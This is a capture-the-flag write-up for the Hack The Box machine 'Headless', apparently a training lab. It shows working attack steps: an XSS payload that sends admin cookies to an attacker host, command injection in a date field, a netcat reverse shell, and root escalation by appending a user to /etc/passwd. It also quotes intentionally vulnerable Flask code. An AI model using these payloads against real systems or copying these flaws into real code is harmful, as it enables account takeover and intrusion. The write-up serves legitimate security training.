Summary
Headless is an easy Linux HTB box.
It has a support form on a webserver that logs HTTP headers when it detects an injection attempt, storing the incident to be reviewed later. Ironically, this lets us inject a Cross-Site Scripting (XSS) payload into the User-Agent HTTP Header, which gets triggered during the review process.
We can use this to steal an administrator session cookie, giving us access to a dashboard on the same webserver. This dashboard is vulnerable to command injection, allowing Remote Command Execution (RCE) as a low-privileged local user.
This local user has sudo privileges for a custom bash script. The script is poorly coded, enabling us to hijack the execution of a missing file called by the first script, leading to privilege escalation to root.
Writeup
Information Gathering
We start by running an Nmap TCP scan on all ports, revealing an SSH service and another service on a non-standard port.
┌──(user㉿kali)-[~]
└─$ sudo nmap -sS -T4 -v 10.10.11.8 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-15 12:35 WEST
<SNIP>
Host is up (0.045s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Using netcat to interact with the mysterious service, we quickly find out it’s a web server.
┌──(user㉿kali)-[~]
└─$ nc 10.10.11.8 5000
test
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 400</p>
<p>Message: Bad request syntax ('test').</p>
<p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
</body>
</html>
We then use WhatWeb to discover it’s a Python web server and it gives us a cookie called is_admin
.
┌──(user㉿kali)-[~]
└─$ whatweb -v http://10.10.11.8:5000/
WhatWeb report for http://10.10.11.8:5000/
Status : 200 OK
Title : Under Construction
IP : 10.10.11.8
Country : RESERVED, ZZ
Summary : Cookies[is_admin], HTML5, HTTPServer[Werkzeug/2.2.2 Python/3.11.2], Python[3.11.2], Script, Werkzeug[2.2.2]
Detected Plugins:
[ Cookies ]
Display the names of cookies in the HTTP headers. The
values are not returned to save on space.
String : is_admin
[ HTML5 ]
HTML version 5, detected by the doctype declaration
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
String : Werkzeug/2.2.2 Python/3.11.2 (from server string)
[ Python ]
Python is a programming language that lets you work more
quickly and integrate your systems more effectively. You
can learn to use Python and see almost immediate gains in
productivity and lower maintenance costs.
Version : 3.11.2
Website : http://www.python.org/
[ Script ]
This plugin detects instances of script HTML elements and
returns the script language/type.
[ Werkzeug ]
Werkzeug is a WSGI utility library for Python.
Version : 2.2.2
Website : http://werkzeug.pocoo.org/
HTTP Headers:
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.11.2
Date: Mon, 15 Jul 2024 11:38:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2799
Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
Connection: close
Checking it in our browser, we see a landing page for a work-in-progress site with a live countdown.

The site's landing page.
There’s a button that links to another page, but to be thorough, we fuzz for more pages using a wordlist.
┌──(user㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -H 'Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs' -u http://10.10.11.8:5000/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.8:5000/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
support [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 45ms]
dashboard [Status: 401, Size: 317, Words: 38, Lines: 6, Duration: 42ms]
[Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 44ms]
:: Progress: [87650/87650] :: Job [1/1] :: 475 req/sec :: Duration: [0:03:18] :: Errors: 0 ::
We discover a new page, dashboard
, but we get a 401 status code, meaning unauthorized.

The site's dashboard page, with the user cookie.
There are many ways to handle authorization to HTTP resources, and cookies are one of them. Notice I used FFUF with the cookie header set. Otherwise, the GET request returns a 500 error, meaning an internal server error. This suggests the cookie is relevant to the authorization process.
Looking at our cookie, it’s not quite a JWT format, but the first part is base64 for “user,” hinting at the existence of a similar cookie for an administrator.
┌──(user㉿kali)-[~]
└─$ echo 'InVzZXIi' | base64 -d
"user"
Let’s finally move on to the other page, support
. It seems to be a form to contact support staff.

The site's support page.
This is perfect because if our reports are viewed by the staff on an HTML page, we might inject some JavaScript via Cross-Site Scripting (XSS) and steal their is_admin
cookie, allowing us access to the dashboard
.
Vulnerability #1 - Cross-Site Scripting
Using a web proxy, we start by seeing how the form behaves on a normal submission, and it seems like there’s no reflection back to us. That’s not great because it means we’ll have to do blind/out-of-band (OOT) XSS, which is more time-consuming.

No reflection.
We try injecting some common blind XSS payloads in the POST data fields but discover they have some injection prevention measures on the message
field.

Hack attempt detected.
It looks like the server is scanning for HTML tags in the message
field and treating them as an incident. It claims to flag our IP address and create a report with our “browser information” to be reviewed by administrators later.
This is actually great news for us. We were initially targeting support staff with blind XSS, but now we know that administrators will review the report. This is good because it’s the administrators’ cookies we want. Plus, the fact that our HTTP headers are reflected back to us means we might not have to rely on blind XSS after all.
We can try inserting a payload into an HTTP header that’s not crucial for the request to function properly, like User-Agent
. If the incident reports are viewed on a page served by this same web server and the HTTP headers are not properly sanitized, we should get a hit.
We try the following payload, which attempts to get a resource from a web server on our attacking machine with the URL parameter cookie
being the cookies stored on the victim’s web browser:
<script>var i = new Image();i.src="http://MY_IP/?cookie="+document.cookie;</script>

User-Agent XSS.
After a while, we get a hit! The victim tries to reach a non-existent resource, but the point is, we get their cookies in the URL parameter.
┌──(user㉿kali)-[~]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.8 - - [15/Jul/2024 13:59:34] "GET /?cookie=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -
Base64 decoding the first portion of this cookie, we see that it says “admin”.
┌──(user㉿kali)-[~]
└─$ echo 'ImFkbWluIg' | base64 -d
"admin"
Editing the cookies on our browser to this new one, we get access to the dashboard
page.

Access to `dashboard`.
Vulnerability #2 - Command Injection
The dashboard has a feature for generating reports for a given date.

Generating a report.
To see if we can exploit this feature, let’s think about how it may work behind the scenes.
The feature likely requires interaction with a database or the file system to get the data for a specific date and generate the report. This means our input, the date, might be inserted into a SQL query, a shell command, or something else. If it’s not properly sanitized, we might be able to perform some injection attacks.
Let’s work with the assumption our date input is being used in a Bash command. There are many ways to check for command injection vulnerabilities, especially by using special characters to end the current command and add a new one.
The first thing one can try is to simply append a ;
to the end of the input, which will terminate the current command and allow for the execution of a new command that will come afterwards, according to Bash syntax.
We intercept the request with a web proxy and change the date
field to include an injected command, like id
:
date=2023-09-15;id

Command injection.
It worked, and we got Remote Command Execution (RCE) as the local user dvir
.
Next, we can upgrade to a reverse shell using a payload from the Reverse Shell Generator, such as Python3 Shortest
.

Command injection.
┌──(user㉿kali)-[~]
└─$ sudo logshell rlwrap nc -lnvp 4444
[sudo] password for user:
listening on [any] 4444 ...
connect to [10.10.14.49] from (UNKNOWN) [10.10.11.8] 53006
dvir@headless:~/app$ ls ~/user.txt
user.txt
Privilege Escalation
The dvir
user is low-privileged, so let’s see how we can escalate our privileges to root.
Checking the sudo rights for dvir
, we find that it can run /usr/bin/syscheck
as root without needing a password (which we don’t have at the moment).
dvir@headless:~/app$ sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
We don’t see /usr/bin/syscheck
listed on GTFOBins, so we need to take a closer look at it for potential vulnerabilities. Upon inspecting it, we see it’s a custom Bash script that checks some system information.
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
The script doesn’t take any input from us, so we can’t exploit it directly that way.
What’s important here is that the script checks for a process running a file named initdb.sh
. If it doesn’t find such a process, it will execute initdb.sh
from the current directory of the shell.
This means we can create an initdb.sh
file with a payload, cd
into that directory, and then run syscheck
with sudo. This will trigger our payload as root.
Instead of juggling multiple shell listeners, we’ll add a new line to /etc/passwd
to create a new root user.
On our attacking machine, we use the openssl
utility to generate a hash for the new root user’s password. I’ll use the password BRM_Rocks
.
┌──(user㉿kali)-[~]
└─$ openssl passwd BRM_Rocks
$1$wKe1xQM.$AL6LkX8vu0tN.FJi0X/ZO/
Our goal is to add this line to /etc/passwd
, which will let us su
to the new root user with the password we set.
r00t:$1$wKe1xQM.$AL6LkX8vu0tN.FJi0X/ZO/:0:0:root:/root:/bin/bash
To avoid problematic variable substitutions, since the password hash contains the $
symbol which denotes environment variables in Bash, we’ll base64 encode this line and decode it when appending it to /etc/passwd
.
We’ll create an executable initdb.sh
file with the following content:
#!/bin/bash
echo <BASE64-LINE> | base64 -d >> /etc/passwd
echo "It worked :)" # Just to show this script was executed.
Since we don’t have a stable shell, we’ll create the file one line at a time:
dvir@headless:/tmp$ echo '#!/bin/bash' > initdb.sh
dvir@headless:/tmp$ echo 'echo cjAwdDokMSR3S2UxeFFNLiRBTDZMa1g4dnUwdE4uRkppMFgvWk8vOjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaA== | base64 -d >> /etc/passwd' >> initdb.sh
dvir@headless:/tmp$ echo 'echo "It worked :)"' >> initdb.sh
dvir@headless:/tmp$ chmod a+x initdb.sh
When we run syscheck
with sudo, our payload executes.
dvir@headless:/tmp$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.8G
System load average: 0.24, 0.28, 0.21
Database service is not running. Starting it...
It worked :)
Now we just need to switch to our new root user and grab the final flag.
dvir@headless:/tmp$ su r00t
Password: BRM_Rocks
root@headless:/tmp# ls /root
root.txt
Vulnerabilities Explanation
In the dvir
home directory, we find the source code for the web application. Let’s take a look at it to understand the two web vulnerabilities we exploited to get a foothold.
from flask import Flask, render_template, request, make_response, abort, send_file
from itsdangerous import URLSafeSerializer
import os
import random
app = Flask(__name__, template_folder=".")
app.secret_key = b'PcBE2u6tBomJmDMwUbRzO18I07A'
serializer = URLSafeSerializer(app.secret_key)
hacking_reports_dir = '/home/dvir/app/hacking_reports'
os.makedirs(hacking_reports_dir, exist_ok=True)
@app.route('/')
def index():
client_ip = request.remote_addr
is_admin = True if client_ip in ['127.0.0.1', '::1'] else False
token = "admin" if is_admin else "user"
serialized_value = serializer.dumps(token)
response = make_response(render_template('index.html', is_admin=token))
response.set_cookie('is_admin', serialized_value, httponly=False)
return response
@app.route('/dashboard', methods=['GET', 'POST'])
def admin():
if serializer.loads(request.cookies.get('is_admin')) == "user":
return abort(401)
script_output = ""
if request.method == 'POST':
date = request.form.get('date')
if date:
script_output = os.popen(f'bash report.sh {date}').read()
return render_template('dashboard.html', script_output=script_output)
@app.route('/support', methods=['GET', 'POST'])
def support():
if request.method == 'POST':
message = request.form.get('message')
if ("<" in message and ">" in message) or ("{{" in message and "}}" in message):
request_info = {
"Method": request.method,
"URL": request.url,
"Headers": format_request_info(dict(request.headers)),
}
formatted_request_info = format_request_info(request_info)
html = render_template('hackattempt.html', request_info=formatted_request_info)
filename = f'{random.randint(1, 99999999999999999999999)}.html'
with open(os.path.join(hacking_reports_dir, filename), 'w', encoding='utf-8') as html_file:
html_file.write(html)
return html
return render_template('support.html')
@app.route('/hacking_reports/<int:report_number>')
def hacking_reports(report_number):
report_file = os.path.join(hacking_reports_dir, f'{report_number}.html')
if os.path.exists(report_file):
return send_file(report_file)
else:
return "Report not found", 404
def format_request_info(info):
formatted_info = ''
for key, value in info.items():
formatted_info += f"<strong>{key}:</strong> {value}<br>"
return formatted_info
def format_form_data(form_data):
formatted_data = {}
for key, value in form_data.items():
formatted_data[key] = value
return formatted_data
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)
On the dashboard
page, we see that it checks the is_admin
cookie. If the cookie is set to user
, the page returns a 401 error.
For the report generation POST request, the code runs the Bash script report.sh
with the date URL parameter as an argument and returns the output. There’s no input sanitization, which is why we could inject commands.
Our date=2023-09-15;id
payload ended up running as bash report.sh 2023-09-15;id
.
Finally, on the support
page, the code checks for <>
(used in HTML tags) and {}
(used by the Jinja2 template engine) to create a report for HTML hacking attempts. This effectively prevents XSS and Server-side Template Injection (SSTI) in that field.